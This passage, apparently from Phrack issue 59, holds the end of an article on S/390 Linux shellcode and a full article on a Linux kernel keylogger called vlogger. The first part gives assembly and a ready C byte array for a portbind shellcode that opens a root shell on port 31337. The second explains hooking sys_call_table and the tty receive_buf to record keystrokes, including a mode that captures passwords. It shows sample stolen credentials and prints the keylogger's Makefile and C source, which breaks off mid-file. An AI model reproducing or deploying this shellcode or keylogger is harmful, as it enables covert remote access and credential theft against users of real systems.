        svc        102                       # SOCKETCALL
        xr         %r3,%r3                   # the following shit
        svc        63                        # duplicates stdin, stdout
        ahi        %r3,1                     # stderr
        svc        63                        # DUP2
        ahi        %r3,1                        
        svc        63                        
        la         %r2,exec-base(%r1)        # point to /bin/sh
        la         %r3,arg-base(%r1)         # points to address of /bin/sh
        la         %r4,tonull-base(%r1)      # point to envp value
        svc        11                        # execve
        slr        %r2,%r2                        
        svc        1                         # exit
        .string  "/bin//sh"
        .long   exec
        .long   0x0                

----[ 2.5 - Avoiding 0x00 and 0x0a

    To get a clean working shellcode we have two things to bypass. First
avoiding 0x00 and second avoiding 0x0a.

Here is our first case :

a7 28 00 02             lhi     %r2,02

And here is my solution :

a7 a8 fb b4             lhi     %r10,-1100
a7 28 04 4e             lhi     %r2,1102
1a 2a                   ar      %r2,%r10

    I statically define a value -1100 in %r10 to use it multiple times.
After that i load my wanted value plus 1100 and in the next instruction
the subtraction of 1102-1100 gives me the real value. Quite easy.

To get around the next problem we have to use selfmodifing code:

        .long 0x0b6607fe          <---- will be svc 66, br %r14 after
                                        code modification

    Look at the first byte, it has the value 0x0b at the moment. The
following code changes this value to 0x0a:

basr      %r1,0                   # our base-address
la        %r9,svc-base(%r1)       # load address of svc subroutine
lhi       %r6,1110                # selfmodifing
lhi       %r10,-1100              # code is used 
ar        %r6,%r10                # 1110 - 1100 = \x0a opcode SVC
stc       %r6,svc-base(%r1)       # store svc opcode

Finally the modified code looks as follows :

0a 66                svc 66
07 fe                br %r14

To branch to this subroutine we use the following command :

basr        	     %r14,%r9     # branch to subroutine SVC 102

    The Register %r9 has the address of the subroutine and %r14 contains
the address where to jump back.

----[ 2.6 - The final code

Finally we made it, our shellcode is ready for a first test:

        .globl _start
        basr      %r1,0                   # our base-address
        la        %r9,svc-base(%r1)       # load address of svc subroutine
        lhi       %r6,1110                # selfmodifing
        lhi       %r10,-1100              # code is used 
        ar        %r6,%r10                # 1110 - 1100 = \x0a opcode SVC
        stc       %r6,svc-base(%r1)       # store svc opcode 
        lhi       %r2,1102                # portbind code always uses
        ar        %r2,%r10                # real value-1100 (here AF_INET)
        sth       %r2,120(%r15)
        lhi       %r3,31337               # port
        sth       %r3,122(%r15)
        xr        %r4,%r4                 # INADDR_ANY
        st        %r4,124(%r15)           # 120-127 is struct sockaddr *
        lhi       %r3,1101                # SOCK_STREAM
        ar        %r3,%r10
        stm       %r2,%r4,128(%r15)       # store %r2-%r4, our API values
        lhi       %r2,1101                # SOCKET_socket
        ar        %r2,%r10
        la        %r3,128(%r15)           # pointer to the API values
        basr      %r14,%r9                # branch to subroutine SVC 102
        lr        %r7,%r2                 # save socket fd to %r7
        la        %r3,120(%r15)           # pointer to struct sockaddr *
        lhi       %r8,1116                
        ar        %r8,%r10                # value 16 is stored in %r8
        lr        %r4,%r8                 # size of address
        stm       %r2,%r4,128(%r15)       # store %r2-%r4, our API values
        lhi       %r2,1102                # SOCKET_bind
        ar        %r2,%r10
        la        %r3,128(%r15)           # pointer to the API values
        basr      %r14,%r9                # branch to subroutine SVC 102
        lr        %r2,%r7                 # get saved socket fd
        lhi       %r3,1101                # MAXNUMBER
        ar        %r3,%r10
        stm       %r2,%r3,128(%r15)       # store %r2-%r3, our API values
        lhi       %r2,1104                # SOCKET_listen
        ar        %r2,%r10
        la        %r3,128(%r15)           # pointer to the API values
        basr      %r14,%r9                # branch to subroutine SVC 102
        lr        %r2,%r7                 # get saved socket fd
        la        %r3,120(%r15)           # pointer to struct sockaddr *
        stm       %r2,%r3,128(%r15)       # store %r2-%r3, our API values
        st        %r8,136(%r15)           # %r8 = 16, in this case fromlen
        lhi       %r2,1105                # SOCKET_accept
        ar        %r2,%r10
        la        %r3,128(%r15)           # pointer to the API values
        basr      %r14,%r9                # branch to subroutine SVC 102
        lhi       %r6,1163                # initiate SVC 63 = DUP2
        ar        %r6,%r10
        stc       %r6,svc+1-base(%r1)        # modify subroutine to SVC 63
        lhi       %r3,1102                # the following shit
        ar        %r3,%r10                # duplicates
        basr      %r14,%r9                # stdin, stdout
        ahi       %r3,-1                        # stderr
        basr      %r14,%r9                # SVC 63 = DUP2
        ahi       %r3,-1
        basr      %r14,%r9
        lhi       %r6,1111                # initiate SVC 11 = execve
        ar        %r6,%r10
        stc       %r6,svc+1-base(%r1)     # modify subroutine to SVC 11
        la        %r2,exec-base(%r1)      # point to /bin/sh
        st        %r2,exec+8-base(%r1)    # save address to /bin/sh
        la        %r3,exec+8-base(%r1)    # points to address of /bin/sh
        xr        %r4,%r4                 # 0x00 is envp
        stc       %r4,exec+7-base(%r1)    # fix last byte /bin/sh\\ to 0x00
        st        %r4,exec+12-base(%r1)   # store 0x00 value for envp
        la        %r4,exec+12-base(%r1)   # point to envp value
        basr      %r14,%r9                # branch to subroutine SVC 11
        .long 0x0b6607fe                  # our subroutine SVC n + br %r14
        .string  "/bin/sh\\"

In a C-code environment it looks like this :

char shellcode[]=
"\x0d\x10"		/* basr    %r1,%r0				*/
"\x41\x90\x10\xd4"	/* la      %r9,212(%r1)				*/
"\xa7\x68\x04\x56"	/* lhi     %r6,1110				*/
"\xa7\xa8\xfb\xb4"	/* lhi     %r10,-1100				*/
"\x1a\x6a"		/* ar      %r6,%r10				*/
"\x42\x60\x10\xd4"	/* stc     %r6,212(%r1)				*/
"\xa7\x28\x04\x4e"	/* lhi     %r2,1102				*/
"\x1a\x2a"		/* ar      %r2,%r10				*/
"\x40\x20\xf0\x78"	/* sth     %r2,120(%r15)			*/
"\xa7\x38\x7a\x69"	/* lhi     %r3,31337				*/
"\x40\x30\xf0\x7a"	/* sth     %r3,122(%r15)			*/
"\x17\x44"		/* xr      %r4,%r4				*/
"\x50\x40\xf0\x7c"	/* st      %r4,124(%r15)			*/
"\xa7\x38\x04\x4d"	/* lhi     %r3,1101				*/
"\x1a\x3a"		/* ar      %r3,%r10				*/
"\x90\x24\xf0\x80"	/* stm     %r2,%r4,128(%r15)			*/
"\xa7\x28\x04\x4d"	/* lhi     %r2,1101				*/
"\x1a\x2a"		/* ar      %r2,%r10				*/
"\x41\x30\xf0\x80"	/* la      %r3,128(%r15)			*/
"\x0d\xe9"		/* basr    %r14,%r9				*/
"\x18\x72"		/* lr      %r7,%r2				*/
"\x41\x30\xf0\x78"	/* la      %r3,120(%r15)			*/
"\xa7\x88\x04\x5c"	/* lhi     %r8,1116				*/
"\x1a\x8a"		/* ar      %r8,%r10				*/
"\x18\x48"		/* lr      %r4,%r8				*/
"\x90\x24\xf0\x80"	/* stm     %r2,%r4,128(%r15)			*/
"\xa7\x28\x04\x4e"	/* lhi     %r2,1102				*/
"\x1a\x2a"		/* ar      %r2,%r10				*/
"\x41\x30\xf0\x80"	/* la      %r3,128(%r15)			*/
"\x0d\xe9"		/* basr    %r14,%r9				*/
"\x18\x27"		/* lr      %r2,%r7				*/
"\xa7\x38\x04\x4d"	/* lhi     %r3,1101				*/
"\x1a\x3a"		/* ar      %r3,%r10				*/
"\x90\x23\xf0\x80"	/* stm     %r2,%r3,128(%r15)			*/
"\xa7\x28\x04\x50"	/* lhi     %r2,1104				*/
"\x1a\x2a"		/* ar      %r2,%r10				*/
"\x41\x30\xf0\x80"	/* la      %r3,128(%r15)			*/
"\x0d\xe9"		/* basr    %r14,%r9				*/
"\x18\x27"		/* lr      %r2,%r7				*/
"\x41\x30\xf0\x78"	/* la      %r3,120(%r15)			*/
"\x90\x23\xf0\x80"	/* stm     %r2,%r3,128(%r15)			*/
"\x50\x80\xf0\x88"	/* st      %r8,136(%r15)			*/
"\xa7\x28\x04\x51"	/* lhi     %r2,1105				*/
"\x1a\x2a"		/* ar      %r2,%r10				*/
"\x41\x30\xf0\x80"	/* la      %r3,128(%r15)			*/
"\x0d\xe9"		/* basr    %r14,%r9				*/
"\xa7\x68\x04\x8b"	/* lhi     %r6,1163				*/
"\x1a\x6a"		/* ar      %r6,%r10				*/
"\x42\x60\x10\xd5"	/* stc     %r6,213(%r1)				*/
"\xa7\x38\x04\x4e"	/* lhi     %r3,1102				*/
"\x1a\x3a"		/* ar      %r3,%r10				*/
"\x0d\xe9"		/* basr    %r14,%r9				*/
"\xa7\x3a\xff\xff"	/* ahi     %r3,-1				*/
"\x0d\xe9"		/* basr    %r14,%r9				*/
"\xa7\x3a\xff\xff"	/* ahi     %r3,-1				*/
"\x0d\xe9"		/* basr    %r14,%r9				*/
"\xa7\x68\x04\x57"	/* lhi     %r6,1111				*/
"\x1a\x6a"		/* ar      %r6,%r10				*/
"\x42\x60\x10\xd5"	/* stc     %r6,213(%r1)				*/
"\x41\x20\x10\xd8"	/* la      %r2,216(%r1)				*/
"\x50\x20\x10\xe0"	/* st      %r2,224(%r1)				*/
"\x41\x30\x10\xe0"	/* la      %r3,224(%r1)				*/
"\x17\x44"		/* xr      %r4,%r4				*/
"\x42\x40\x10\xdf"	/* stc     %r4,223(%r1)				*/
"\x50\x40\x10\xe4"	/* st      %r4,228(%r1)				*/
"\x41\x40\x10\xe4"	/* la      %r4,228(%r1)				*/
"\x0d\xe9"		/* basr    %r14,%r9				*/
"\x0b\x66"		/* svc	   102 		<--- after modification	*/
"\x07\xfe"		/* br      %r14					*/
"\x2f\x62\x69\x6e"	/* /bin						*/
"\x2f\x73\x68\x5c";	/* /sh\						*/

 void (*z)()=(void*)shellcode;

--[ 3 - References:

[1] z/Architecture Principles of Operation (SA22-7832-00)

[2] Linux for S/390 ( SG24-4987-00 )

[3] LINUX for S/390 ELF Application Binary Interface Supplement

[4] Example exploits

Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Weitere Infos: siehe


|=[ EOF ]=---------------------------------------------------------------=|


                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3b, Phile #0x0e of 0x12

|=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
|=------------------=[ rd <> ]=-------------------=|
|=------------------------=[ June 19th, 2002 ]=--------------------------=|

--[ Contents

 1 - Introduction

 2 - How Linux keyboard driver work

 3 - Kernel based keylogger approaches
   3.1 - Interrupt handler
   3.2 - Function hijacking
       3.2.1 - handle_scancode
       3.2.2 - put_queue
       3.2.3 - receive_buf
       3.2.4 - tty_read
       3.2.5 - sys_read/sys_write

 4 - vlogger
   4.1 - The syscall/tty approach
   4.2 - Features
   4.3 - How to use

 5 - Greets

 6 - References

 7 - Keylogger source

--[ 1 - Introduction

  This article is divided into two parts.  The first part of the paper
gives an overview on how the linux keyboard driver work, and discusses
methods that can be used to create a kernel based keylogger.  This part
will be useful for those who want to write a kernel based keylogger, or to
write their own keyboard driver (for supporting input of non-supported
language in linux environment, ...) or to program taking advantage of many
features in the Linux keyboard driver.

  The second part presents detail of vlogger, a smart kernel based linux
keylogger, and how to use it.  Keylogger is a very interesting code being
used widely in honeypots, hacked systems, ... by white and black hats.  As
most of us known, besides user space keyloggers (such as iob, uberkey,
unixkeylogger, ...), there are some kernel based keyloggers.  The earliest
kernel based keylogger is linspy of halflife which was published in Phrack
50 (see [4]).  And the recent kkeylogger is presented in 'Kernel Based
Keylogger' paper by mercenary (see [7]) that I found when was writing this
paper.  The common method of those kernel based keyloggers using is to log
user keystrokes by intercepting sys_read or sys_write system call.
However, this approach is quite unstable and slowing down the whole system
noticeably because sys_read (or sys_write) is the generic read/write
function of the system; sys_read is called whenever a process wants to read
something from devices (such as keyboard, file, serial port, ...).  In
vlogger, I used a better way to implement it that hijacks the tty buffer
processing function.

  The reader is supposed to possess the knowledge on Linux Loadable Kernel
Module.  Articles [1] and [2] are recommended to read before further

--[ 2 - How Linux keyboard driver work

  Lets take a look at below figure to know how user inputs from console
keyboard are processed:

  _____________            _________             _________         
 /             \ put_queue|         |receive_buf|         |tty_read
\               /         |         |           |buffer   |        
 \_____________/          |_________|           |_________|        

     _________          ____________
    |         |sys_read|            |
--->|/dev/ttyX|------->|user process|
    |         |        |            |
    |_________|        |____________|

                            Figure 1

  First, when you press a key on the keyboard, the keyboard will send
corresponding scancodes to keyboard driver.  A single key press can produce
a sequence of up to six scancodes.

  The handle_scancode() function in the keyboard driver parses the stream
of scancodes and converts it into a series of key press and key release
events called keycode by using a translation-table via kbd_translate()
function.  Each key is provided with a unique keycode k in the range 1-127.
Pressing key k produces keycode k, while releasing it produces keycode

  For example, keycode of 'a' is 30. Pressing key 'a' produces keycode 30.
Releasing 'a' produces keycode 158 (128+30).

  Next, keycodes are converted to key symbols by looking them up on the
appropriate keymap.  This is a quite complex process. There are eight
possible modifiers (shift keys - Shift , AltGr, Control, Alt, ShiftL,
ShiftR, CtrlL and CtrlR), and the combination of currently active modifiers
and locks determines the keymap used.

  After the above handling, the obtained characters are put into the raw
tty queue - tty_flip_buffer.

  In the tty line discipline, receive_buf() function is called periodically
to get characters from tty_flip_buffer then put them into tty read queue.

  When user process want to get user input, it calls read() function on
stdin of the process. sys_read() function will calls read() function
defined in file_operations structure (which is pointed to tty_read) of
corresponding tty (ex /dev/tty0) to read input characters and return to the

  The keyboard driver can be in one of 4 modes:
	- scancode (RAW MODE): the application gets scancodes for input.  
	It is used by applications that implement their own keyboard 
	driver (ex: X11)

	- keycode (MEDIUMRAW MODE): the application gets information on
	which keys (identified by their keycodes) get pressed and 

	- ASCII (XLATE MODE): the application effectively gets the 
	characters as defined by the keymap, using an 8-bit encoding.

	- Unicode (UNICODE MODE): this mode only differs from the ASCII 
	mode by allowing the user to compose UTF8 unicode characters by 
	their decimal value, using Ascii_0 to Ascii_9, or their 
	hexadecimal (4-digit) value, using Hex_0 to Hex_9.  A keymap can 
	be set up to produce UTF8 sequences (with a U+XXXX pseudo-symbol, 
	where each X is an hexadecimal digit). 

  Those modes influence what type of data that applications will get as
keyboard input.  For more details on scancode, keycode and keymaps, please
read [3].

--[ 3 - Kernel based keylogger approaches

  We can implement a kernel based keylogger in two ways by writing our own
keyboard interrupt handler or hijacking one of input processing functions. 

----[ 3.1 - Interrupt handler

  To log keystrokes, we will use our own keyboard interrupt handler.  Under
Intel architectures, the IRQ of the keyboard controlled is IRQ 1.  When
receives a keyboard interrupt, our own keyboard interrupt handler read the
scancode and keyboard status.  Keyboard events can be read and written via
port 0x60(Keyboard data register) and 0x64(Keyboard status register).

/* below code is intel specific */
#define KEYBOARD_IRQ 1 
#define KBD_STATUS_REG 0x64 
#define KBD_CNTL_REG 0x64 
#define KBD_DATA_REG 0x60 

#define kbd_read_input() inb(KBD_DATA_REG) 
#define kbd_read_status() inb(KBD_STATUS_REG) 
#define kbd_write_output(val) outb(val, KBD_DATA_REG) 
#define kbd_write_command(val) outb(val, KBD_CNTL_REG) 

/* register our own IRQ handler */
request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

In my_keyboard_irq_handler():
	scancode = kbd_read_input(); 
	key_status = kbd_read_status(); 

  This method is platform dependent.  So it won't be portable among
platforms.  And you have to be very careful with your interrupt handler if
you don't want to crash your box ;)

----[ 3.2 - Function hijacking

   Based on the Figure 1, we can implement our keylogger to log user inputs
by hijacking one of handle_scancode(), put_queue(), receive_buf(),
tty_read() and sys_read() functions.  Note that we can't intercept
tty_insert_flip_char() function because it is an INLINE function.

------[ 3.2.1 - handle_scancode

  This is the entry function of the keyboard driver (see keyboard.c).  It
handles scancodes which are received from keyboard.

# /usr/src/linux/drives/char/keyboard.c
void handle_scancode(unsigned char scancode, int down);

  We can replace original handle_scancode() function with our own to logs
all scancodes.  But handle_scancode() function is not a global and exported
function.  So to do this, we can use kernel function hijacking technique
introduced by Silvio (see [5]).

/* below is a code snippet written by Plasmoid */
static struct semaphore hs_sem, log_sem;
static int logging=1;

#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
       "\xb8\x00\x00\x00\x00"      /*      movl   $0,%eax  */
       "\xff\xe0"                  /*      jmp    *%eax    */

void (*handle_scancode) (unsigned char, int) =
        (void (*)(unsigned char, int)) HS_ADDRESS;

void _handle_scancode(unsigned char scancode, int keydown)
       if (logging && keydown)
          log_scancode(scancode, LOGFILE);
        * Restore first bytes of the original handle_scancode code.  Call
        * the restored function and re-restore the jump code.  Code is
        * protected by semaphore hs_sem, we only want one CPU in here at a
        * time.
       memcpy(handle_scancode, hs_code, CODESIZE);
       handle_scancode(scancode, keydown);
       memcpy(handle_scancode, hs_jump, CODESIZE);

HS_ADDRESS is set by the Makefile executing this command
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))

  Similar to method presented in 3.1, the advantage of this method is the
ability to log keystrokes under X and the console, no matter if a tty is
invoked or not.  And you will know exactly what key is pressed on the
keyboard (including special keys such as Control, Alt, Shift, Print Screen,
...).  But this method is platform dependent and won't be portable among
platforms.  This method also can't log keystroke of remote sessions and is
quite complex for building an advance logger.

------[ 3.2.2 - put_queue

  This function is called by handle_scancode() function to put characters
into tty_queue. 

# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);
  To intercept this function, we can use the above technique as in section

------[ 3.2.3 - receive_buf

  receive_buf() function is called by the low-level tty driver to send
characters received by the hardware to the line discipline for processing.

# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const 
				unsigned char *cp, char *fp, int count)

cp is a pointer to the buffer of input character received by the device.
fp is a pointer to a pointer of flag bytes which indicate whether a
character was received with a parity error, etc.

Lets take a deeper look into tty structures

# /usr/include/linux/tty.h
struct tty_struct {
	int	magic;
	struct tty_driver driver;
	struct tty_ldisc ldisc;
	struct termios *termios, *termios_locked;

# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
	int	magic;
	char	*name;
	void	(*receive_buf)(struct tty_struct *, 
			const unsigned char *cp, char *fp, int count);
	int	(*receive_room)(struct tty_struct *);
	void	(*write_wakeup)(struct tty_struct *);

  To intercept this function, we can save the original tty receive_buf()
function then set ldisc.receive_buf to our own new_receive_buf() function
in order to logging user inputs. 

Ex: to log inputs on the tty0

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
old_receive_buf = tty->ldisc.receive_buf;
tty->ldisc.receive_buf = new_receive_buf;

void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, 
						char *fp, int count)
	logging(tty, cp, count); 	//log inputs

	/* call the original receive_buf */
	(*old_receive_buf)(tty, cp, fp, count);

------[ 3.2.4 - tty_read

  This function is called when a process wants to read input characters
from a tty via sys_read() function.

# /usr/src/linux/drives/char/tty_io.c
static ssize_t tty_read(struct file * file, char * buf, size_t count, 
				loff_t *ppos)

static struct file_operations tty_fops = {
	llseek:		tty_lseek,
	read:		tty_read,
	write:		tty_write,
	poll:		tty_poll,
	ioctl:		tty_ioctl,
	open:		tty_open,
	release:	tty_release,
	fasync:		tty_fasync,

To log inputs on the tty0:

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);	
old_tty_read = file->f_op->read;
file->f_op->read = new_tty_read;

------[ 3.2.5 - sys_read/sys_write

  We will intercept sys_read/sys_write system calls to redirect it to our
own code which logs the content of the read/write calls.  This method was
presented by halflife in Phrack 50 (see [4]).  I highly recommend reading
that paper and a great article written by pragmatic called "Complete Linux
Loadable Kernel Modules" (see [2]).

The code to intercept sys_read/sys_write will be something like this:

extern void *sys_call_table[];
original_sys_read = sys_call_table[__NR_read];
sys_call_table[__NR_read] = new_sys_read;

--[ 4 - vlogger

  This part will introduce my kernel keylogger which is used method
described in section 3.2.3 to acquire more abilities than common keyloggers
used sys_read/sys_write systemcall replacement approach.  I have tested the
code with the following versions of linux kernel: 2.4.5, 2.4.7, 2.4.17 and

----[ 4.1 - The syscall/tty approach

  To logging both local (logged from console) and remote sessions, I chose
the method of intercepting receive_buf() function (see 3.2.3).

  In the kernel, tty_struct and tty_queue structures are dynamically
allocated only when the tty is open.  Thus, we also have to intercept
sys_open syscall to dynamically hooking the receive_buf() function of each
tty or pty when it's invoked.

// to intercept open syscall
original_sys_open = sys_call_table[__NR_open];
sys_call_table[__NR_open] = new_sys_open;

// new_sys_open()
asmlinkage int new_sys_open(const char *filename, int flags, int mode)
	// call the original_sys_open
	ret = (*original_sys_open)(filename, flags, mode);
	if (ret >= 0) {
		struct tty_struct * tty;
		file = fget(ret);
		tty = file->private_data;
		if (tty != NULL && 
			tty->ldisc.receive_buf != new_receive_buf) {
				// save the old receive_buf			
				old_receive_buf = tty->ldisc.receive_buf;

		        * init to intercept receive_buf of this tty
		        * tty->ldisc.receive_buf = new_receive_buf;
			init_tty(tty, TTY_INDEX(tty));

// our new receive_buf() function
void new_receive_buf(struct tty_struct *tty, const unsigned char *cp, 
						char *fp, int count)
	if (!tty->real_raw && !tty->raw)	// ignore raw mode
		// call our logging function to log user inputs 
		vlogger_process(tty, cp, count); 
	// call the original receive_buf
	(*old_receive_buf)(tty, cp, fp, count);

----[ 4.2 - Features

  - Logs both local and remote sessions (via tty & pts)

  - Separate logging for each tty/session.  Each tty has their own logging

  - Nearly support all special chars such as arrow keys (left, right, up,
    down), F1 to F12, Shift+F1 to Shift+F12, Tab, Insert, Delete, End,
    Home, Page Up, Page Down, BackSpace, ... 

  - Support some line editing keys included CTRL-U and BackSpace.

  - Timestamps logging, timezone supported (ripped off some codes from

  - Multiple logging modes

	o dumb mode: logs all keystrokes

	o smart mode: detects password prompt automatically to log
	user/password only.  I used the similar technique presented in
	"Passive Analysis of SSH (Secure Shell) Traffic" paper by Solar
	Designer and Dug Song (see [6]).  When the application turns input
	echoing off, we assume that it is for entering a password.

	o normal mode: disable logging

You can switch between logging modes by using a magic password.

#define VK_TOGLE_CHAR	29	// CTRL-]
#define MAGIC_PASS	"31337"	// to switch mode, type MAGIC_PASS 
				// then press VK_TOGLE_CHAR key

----[ 4.3 - How to use

Change the following options

// directory to store log files
#define LOG_DIR "/tmp/log"

// your local timezone
#define TIMEZONE	7*60*60	// GMT+7

// your magic password
#define MAGIC_PASS	"31337" 

Below is how the log file looks like:

[root@localhost log]# ls -l
total 60
-rw-------    1 root     root          633 Jun 19 20:59 pass.log
-rw-------    1 root     root        37593 Jun 19 18:51 pts11
-rw-------    1 root     root           56 Jun 19 19:00 pts20
-rw-------    1 root     root          746 Jun 19 20:06 pts26
-rw-------    1 root     root          116 Jun 19 19:57 pts29
-rw-------    1 root     root         3219 Jun 19 21:30 tty1
-rw-------    1 root     root        18028 Jun 19 20:54 tty2

---in dumb mode
[root@localhost log]# head tty2		// local session
<19/06/2002-20:53:47 uid=501 bash> pwd
<19/06/2002-20:53:51 uid=501 bash> uname -a
<19/06/2002-20:53:53 uid=501 bash> lsmod
<19/06/2002-20:53:56 uid=501 bash> pwd
<19/06/2002-20:54:05 uid=501 bash> cd /var/log
<19/06/2002-20:54:13 uid=501 bash> tail messages
<19/06/2002-20:54:21 uid=501 bash> cd ~
<19/06/2002-20:54:22 uid=501 bash> ls
<19/06/2002-20:54:29 uid=501 bash> tty
<19/06/2002-20:54:29 uid=501 bash> [UP]

[root@localhost log]# tail pts11	// remote session  
<19/06/2002-18:48:27 uid=0 bash> cd new
<19/06/2002-18:48:28 uid=0 bash> cp -p ~/code .
<19/06/2002-18:48:21 uid=0 bash> lsmod
<19/06/2002-18:48:27 uid=0 bash> cd /va[TAB][^H][^H]tmp/log/
<19/06/2002-18:48:28 uid=0 bash> ls -l
<19/06/2002-18:48:30 uid=0 bash> tail pts11
<19/06/2002-18:48:38 uid=0 bash> [UP] | more
<19/06/2002-18:50:44 uid=0 bash> vi vlogertxt
<19/06/2002-18:50:48 uid=0 vi> :q
<19/06/2002-18:51:14 uid=0 bash> rmmod vlogger

---in smart mode
[root@localhost log]# cat pass.log
[19/06/2002-18:28:05 tty=pts/20 uid=501 sudo]
USER/CMD sudo traceroute
PASS 5hgt6d

[19/06/2002-19:59:15 tty=pts/26 uid=0 ssh]
PASS guest

[19/06/2002-20:50:44 tty=pts/29 uid=504 ftp]
USER Anonymous
PASS heh@heh

[19/06/2002-20:59:54 tty=pts/29 uid=504 su]
PASS asdf1234

Please check for update on the new version
of this tool.

--[ 5 - Greets  

Thanks to plasmoid, skyper for your very useful comments
Greets to THC, vnsecurity and all friends
Finally, thanks to mr. thang for english corrections

--[ 6 - References

[1] Linux Kernel Module Programming
[2] Complete Linux Loadable Kernel Modules - Pragmatic
[3] The Linux keyboard driver - Andries Brouwer
[4] Abuse of the Linux Kernel for Fun and Profit - Halflife
[5] Kernel function hijacking - Silvio Cesare
[6] Passive Analysis of SSH (Secure Shell) Traffic - Solar Designer
[7] Kernel Based Keylogger - Mercenary

--[ 7 - Keylogger sources

<++> vlogger/Makefile
#  vlogger 1.0 by rd
#  LOCAL_ONLY		logging local session only. Doesn't intercept
#			sys_open system call
#  DEBUG		Enable debug. Turn on this options will slow
#			down your system

KERNELDIR =/usr/src/linux
include $(KERNELDIR)/.config
MODVERFILE = $(KERNELDIR)/include/linux/modversions.h

CFLAGS = -Wall -O2 -I$(KERNELDIR)/include -include $(MODVERFILE) \
	-Wstrict-prototypes -fomit-frame-pointer -pipe \
	-fno-strength-reduce -malign-loops=2 -malign-jumps=2 \

all : vlogger.o

vlogger.o: vlogger.c
	$(CC) $(CFLAGS) $(MODDEFS) -c $^ -o $@

	rm -f *.o
<++> vlogger/vlogger.c
 *  vlogger 1.0
 *  Copyright (C) 2002 rd <>
 *  Please check for update
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version
 *  This program is distributed in the hope that it will be useful, but 
 *  WITHOUT ANY WARRANTY; without even the implied warranty of
 *  General Public License for more details.
 *  Greets to THC & vnsecurity

#include <linux/version.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/smp_lock.h>
#include <linux/sched.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/file.h>
#include <asm/uaccess.h>
#include <linux/proc_fs.h>
#include <asm/errno.h>
#include <asm/io.h>

#define KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))


#define MODULE_NAME "vlogger "
#define MVERSION "vlogger 1.0 - by\n"

#ifdef DEBUG
#define DPRINT(format, args...) printk(MODULE_NAME format, ##args)
#define DPRINT(format, args...)

#define N_TTY_NAME "tty"
#define N_PTS_NAME "pts"
#define MAX_TTY_CON 8
#define MAX_PTS_CON 256
#define LOG_DIR "/tmp/log"
#define PASS_LOG LOG_DIR "/pass.log"

#define TIMEZONE 7*60*60	// GMT+7

#define ESC_CHAR 27
#define BACK_SPACE_CHAR1 127	// local
#define BACK_SPACE_CHAR2 8	// remote

#define VK_TOGLE_CHAR 29	// CTRL-]
#define MAGIC_PASS "31337" 	// to switch mode, press MAGIC_PASS and 

#define	VK_NORMAL 0
#define	VK_DUMBMODE 1
#define	VK_SMARTMODE 2

#define MAX_BUFFER 256

#define TTY_NUMBER(tty) MINOR((tty)->device) - (tty)->driver.minor_start \
			+ (tty)->driver.name_base
#define TTY_INDEX(tty) tty->driver.type == \
#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)
#define TTY_WRITE(tty, buf, count) (*tty->driver.write)(tty, 0, \
							buf, count)

#define TTY_NAME(tty) (tty->driver.type == \
		tty->driver.type == TTY_DRIVER_TYPE_PTY && \
		tty->driver.subtype == PTY_TYPE_SLAVE?N_PTS_NAME:"")

#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }

extern void *sys_call_table[];
int errno;

struct tlogger {
	struct tty_struct *tty;
	int lastpos;
	int status;
	int pass;

struct tlogger *ttys[MAX_TTY_CON + MAX_PTS_CON] = { NULL };
void (*old_receive_buf)(struct tty_struct *, const unsigned char *,
			char *, int);
asmlinkage int (*original_sys_open)(const char *, int, int);

int vlogger_mode = DEFAULT_MODE;

/* Prototypes */
static inline void init_tty(struct tty_struct *, int);

static char *_tty_make_name(struct tty_struct *tty, 
				const char *name, char *buf)
	int idx = (tty)?MINOR(tty->device) - tty->driver.minor_start:0;

	if (!tty) 
		strcpy(buf, "NULL tty");
		sprintf(buf, name,
			idx + tty->driver.name_base);
	return buf;

char *tty_name(struct tty_struct *tty, char *buf)
	return _tty_make_name(tty, (tty)?tty->, buf);

#define SECS_PER_HOUR   (60 * 60)
#define SECS_PER_DAY    (SECS_PER_HOUR * 24)
#define isleap(year) \
	((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))

struct vtm {
	int tm_sec;
	int tm_min;
	int tm_hour;
	int tm_mday;
	int tm_mon;
	int tm_year;

 *  Convert from epoch to date 
int epoch2time (const time_t *t, long int offset, struct vtm *tp)
	static const unsigned short int mon_yday[2][13] = {
	   /* Normal years.  */
	   { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
	   /* Leap years.  */
	   { 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }

	long int days, rem, y;
	const unsigned short int *ip;

	days = *t / SECS_PER_DAY;
	rem = *t % SECS_PER_DAY;
	rem += offset;
	while (rem < 0) { 
		rem += SECS_PER_DAY;
	while (rem >= SECS_PER_DAY) {
		rem -= SECS_PER_DAY;
	tp->tm_hour = rem / SECS_PER_HOUR;
	rem %= SECS_PER_HOUR;
	tp->tm_min = rem / 60;
	tp->tm_sec = rem % 60;
	y = 1970;

	while (days < 0 || days >= (isleap (y) ? 366 : 365)) {
		long int yg = y + days / 365 - (days % 365 < 0);
		days -= ((yg - y) * 365
			+ LEAPS_THRU_END_OF (yg - 1)
			- LEAPS_THRU_END_OF (y - 1));
		y = yg;
	tp->tm_year = y - 1900;
	if (tp->tm_year != y - 1900)
		return 0;
